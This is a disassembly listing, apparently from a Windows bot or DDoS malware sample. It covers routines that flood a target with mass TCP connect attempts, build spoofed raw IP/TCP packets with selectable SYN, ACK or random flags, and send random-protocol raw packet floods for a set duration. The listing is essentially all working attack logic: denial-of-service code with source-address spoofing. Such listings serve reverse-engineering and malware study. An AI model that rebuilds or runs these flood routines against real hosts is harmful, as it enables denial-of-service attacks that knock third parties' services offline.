		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_413DA9
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_438990
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_413CD0
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409982
		add	esp, 14h


loc_413CD0:				; CODE XREF: sub_413C53+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_413C53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CEF	proc near		; CODE XREF: sub_413DA9+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413DA5
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413D39:				; CODE XREF: sub_413CEF+B2j
		xor	esi, esi


loc_413D3B:				; CODE XREF: sub_413CEF+77j
		push	0
		push	1
		push	2
		call	dword_428220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_413D63
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4281F8	; ioctlsocket


loc_413D63:				; CODE XREF: sub_413CEF+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_413D3B
		xor	esi, esi


loc_413D6A:				; CODE XREF: sub_413CEF+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_428210	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_413D6A
		push	64h
		call	dword_428064	; Sleep
		xor	esi, esi


loc_413D8C:				; CODE XREF: sub_413CEF+ADj
		push	[ebp+esi*4+var_654]
		call	dword_42821C	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_413D8C
		dec	[ebp+arg_4]
		jnz	short loc_413D39
		pop	edi
		pop	esi


loc_413DA5:				; CODE XREF: sub_413CEF+3Ej
		xor	eax, eax
		leave
		retn
sub_413CEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_413DA9	proc near		; CODE XREF: sub_413C53+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AA04
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41BF49
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41BF49
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_413CEF
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413DDD
		inc	eax


loc_413DDD:				; CODE XREF: sub_413DA9+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_413DA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DEC	proc near		; DATA XREF: sub_401B66+6363o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_414139
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4389BC
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_413E69
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409982
		add	esp, 14h


loc_413E69:				; CODE XREF: sub_413DEC+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_413DEC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E88	proc near		; CODE XREF: sub_414139+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CDBD4	; WSAStartup
		test	eax, eax
		jz	short loc_413EC8
		xor	eax, eax
		jmp	loc_41410C
; ---------------------------------------------------------------------------


loc_413EC8:				; CODE XREF: sub_413E88+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CDD08	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_414104
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4140FA
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CDC64	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CDC64	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CDC64	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_428138	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_428134	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DA80
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413FB3:				; CODE XREF: sub_413E88+25Dj
					; sub_413E88+269j
		mov	[ebp+var_24], bx
		call	sub_41C0B2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_34], ax
		call	sub_41C0B2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C0B2
		or	edi, eax
		push	edi
		call	dword_4CDC64	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CDC60	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41CAE0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CDCC8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414110
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_428134	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_4140F7
		jl	loc_413FB3
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_413FB3


loc_4140F7:				; CODE XREF: sub_413E88+25Bj
		mov	ebx, [ebp+arg_8]


loc_4140FA:				; CODE XREF: sub_413E88+78j
					; sub_413E88+2AFj
		push	[ebp+var_C]
		call	dword_4CDCFC	; closesocket
		pop	esi


loc_414104:				; CODE XREF: sub_413E88+5Bj
		call	dword_4CDBBC	; WSACleanup
		mov	eax, ebx


loc_41410C:				; CODE XREF: sub_413E88+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414110:				; CODE XREF: sub_413E88+247j
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_4389E4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4157A5
		add	esp, 10h
		jmp	short loc_4140FA
sub_413E88	endp


; =============== S U B	R O U T	I N E =======================================



sub_414139	proc near		; CODE XREF: sub_413DEC+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AA04
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41BF49
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41BF49
		mov	edi, eax
		call	sub_41C0B2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413E88
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414182
		inc	eax


loc_414182:				; CODE XREF: sub_414139+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414191	proc near		; DATA XREF: sub_401B66+6CCBo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	eax
		call	sub_414232
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_438A04
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_414213
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409982
		add	esp, 14h


loc_414213:				; CODE XREF: sub_414191+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_414191	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414232	proc near		; CODE XREF: sub_414191+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		xor	ecx, ecx
		push	6
		inc	ecx
		pop	edx
		mov	ebx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41D795
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CDC78	; gethostname
		push	[ebp+var_4]
		call	dword_4CDCE8	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CDCE4	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CDC44	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41BCA5
		mov	edi, dword_4280A8
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_96], ax
		jmp	loc_41441C
; ---------------------------------------------------------------------------


loc_414352:				; CODE XREF: sub_414232+1FBj
		call	sub_41C0B2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41C0B2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41C0B2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41C0B2
		mov	[ebp+var_20], ax
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CDC64	; ntohs
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41C0B2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	near ptr sub_41CAE0
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CDCC8	; sendto


loc_41441C:				; CODE XREF: sub_414232+11Bj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		jbe	loc_414352
		push	[ebp+var_8]
		call	sub_41B881
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_414232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41444D	proc near		; DATA XREF: sub_401B66+5306o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4280A8
		call	edi	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CDCE4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_414516
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_438B20
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4144F6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409982
		add	esp, 14h


loc_4144F6:				; CODE XREF: sub_41444D+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4157A5
		push	[ebp+var_BC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_414516:				; CODE XREF: sub_41444D+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414594
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_438AE8
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414574
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409982
		add	esp, 14h


loc_414574:				; CODE XREF: sub_41444D+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4157A5
		push	[ebp+var_BC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_414594:				; CODE XREF: sub_41444D+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414604
		lea	eax, [ebp+var_440]
		push	offset unk_438AC8
		push	eax
		call	sub_41C056
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_4145E4
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409982
		add	esp, 14h


loc_4145E4:				; CODE XREF: sub_41444D+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4157A5
		push	[ebp+var_BC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_414604:				; CODE XREF: sub_41444D+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_41486C
; ---------------------------------------------------------------------------


loc_414641:				; CODE XREF: sub_41444D+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CDC64	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_41469A
		call	sub_41C0B2
		mov	esi, eax
		shl	esi, 8
		call	sub_41C0B2
		add	esi, eax
		shl	esi, 8
		call	sub_41C0B2
		add	esi, eax
		shl	esi, 8
		call	sub_41C0B2
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_4146B0
; ---------------------------------------------------------------------------


loc_41469A:				; CODE XREF: sub_41444D+21Ej
		push	[ebp+var_240]
		call	sub_40AB14
		pop	ecx
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	[ebp+var_20], eax


loc_4146B0:				; CODE XREF: sub_41444D+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_4146CE
		call	sub_41C0B2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4146D4
; ---------------------------------------------------------------------------


loc_4146CE:				; CODE XREF: sub_41444D+26Fj
		push	[ebp+var_B8]


loc_4146D4:				; CODE XREF: sub_41444D+27Fj
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_16], ax
		call	sub_41C0B2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CDC64	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CDC60	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414724
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414780
; ---------------------------------------------------------------------------


loc_414724:				; CODE XREF: sub_41444D+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414744
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414780
; ---------------------------------------------------------------------------


loc_414744:				; CODE XREF: sub_41444D+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414780
		call	sub_41C0B2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41C0B2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_414780:				; CODE XREF: sub_41444D+2D5j
					; sub_41444D+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41CAE0
